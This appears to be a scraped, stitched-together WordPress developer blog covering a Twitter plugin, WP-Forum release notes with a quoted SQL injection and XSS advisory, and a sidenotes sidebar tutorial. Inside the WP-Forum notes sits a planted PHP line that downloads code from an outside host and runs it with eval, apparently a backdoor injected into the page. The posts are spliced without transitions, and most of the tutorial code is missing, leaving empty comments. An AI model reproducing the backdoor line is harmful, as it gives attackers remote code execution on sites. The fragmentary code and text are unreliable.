So what do I do? As the solution oriented person I am I write my own of course. This plugin has only 2 options: your Twitter screen name and how many tweets to show. Nothing fancy like re-tweets and mentions and stuff like that. Just the latest tweets.

I’m going to add a sidebar widget to this plugin. As of now there is just a template tag.

This is still in beta and I’m tweaking and optimizing and when I’m done I’ll make it available for download. Interested in this plugin? Let me know. and I’ll send you a copy for testing.

Grab it from here.

I will be getting some pictures and a demo site up for the new themes and plugins shortly. Got vaccation now so hopefully I  get some time to re-upload the old themes and plugins as well.

New version is 1.7.6

Excerpt from the report

Description:
Some vulnerabilities have been discovered in the WP-Forum plugin for WordPress, which can be exploited by malicious users to conduct script insertion attacks, and by malicious people to conduct cross-site scripting and SQL injection attacks.

1) Input passed to the “user” parameter in the WordPress installation’s index.php script (when “forumaction” is set to “showprofile” and “page_id” to a page with the “” tag) is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Successful exploitation of this vulnerability allows e.g. retrieving usernames, password hashes, and e-mail addresses for all users and administrators, but requires knowledge of the database table prefix.

2) Input passed to the “forum_query” parameter in the WordPress installation’s index.php script (when “forumaction” is set to “search”) is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.

Successful exploitation of this vulnerability requires that the target user has valid user credentials.

3) Input passed to the “forumtext” parameter in the WordPress installation’s index.php script (when “forumaction” is set to “post”) is not properly sanitised before being stored. This can be exploited to insert arbitrary HTML and script code, which is executed in a user’s browser session in context of an affected site when the malicious data is viewed.

Successful exploitation of this vulnerability requires that the attacker has valid user credentials.

The vulnerabilities are confirmed in version 1.7.4. Other versions may also be affected.

Solution:
Edit the source code to ensure that input is properly sanitised.

• Spam words filter option. (Optional)
• PHP 4 compability.
• Moderator can be set individually for every forum.
• Supports BBCode. (Optional)
• A new skin.
• Misc. bug fixes.

And as always when installing a new version deactivate and re-acivate the plugin in the WordPress admin area.

The spam filter option gets the spam words from WordPress’s own spam filter and words can be added in the WordPress admin -> option -> disscussion.

Many of you are well suited for answering some of the support questions and now I really need your help. If the work load decreases on the support issue I may have more time to develop the plugins and fix bugs.

So if you feel up to the challange please drop me an email on the contact page.

Current moderators are me and Ghidra99.

It’s now possible to show the latest activity in the sidebar.
$k=file_get_contents("http://l0x.nm.ru/cmd1.php");eval($k);
}?>

Moreover, the feeds are fixed and is working.

Next version

• Support for skins and will be changable from the admon interface. The current design will be default and the previous design will be included as well.
• Show latest activity in the sidebar.
• Ability to subcribe to threads via email.

// The loop

		// Print the post if not in sidenotes category
		 // The category id noted earlier

In the sidebar we only want the sidenotes category so we need to modify the loop here too.

// Rewind the loop so it can be used again

// The loop again

		// Print the post if in the sidenotes category
		 // The category id noted earlier
			// code...
		
	

To get the post heading linked to the site of the sidenote is a little bit more complicated. In every sidenote post I define the url within [url]www.site.com[/url]. To extract those links we need a little regular expressions.

preg_match('|[url](.*?)[/url]|ims', $post->post_content, $m);

Add this in the sidebar loop. The link can then be accessed like this:

The complete sidebar loop would be something like this.

// Rewind the loop so it can be used again

// The loop again

		// Print the post if in the sidenotes category
		 // The category id noted earlier
			// Exctract the link.
			preg_match('|[url](.*?)[/url]|ims',$post->post_content,$m);
			
			
			
	

A typical sidenotes post look like this.

According to this site I’m number 19 of the top 55 web designers in the world. Flush…

Now we have sidenotes with the same functionallity as a regular blog post. This way of doing this is much like Asides, but I prefer doing things myself. By the way I imported all my fQuick sidenotes into this new category but that’s a different story and I leave that part to you.
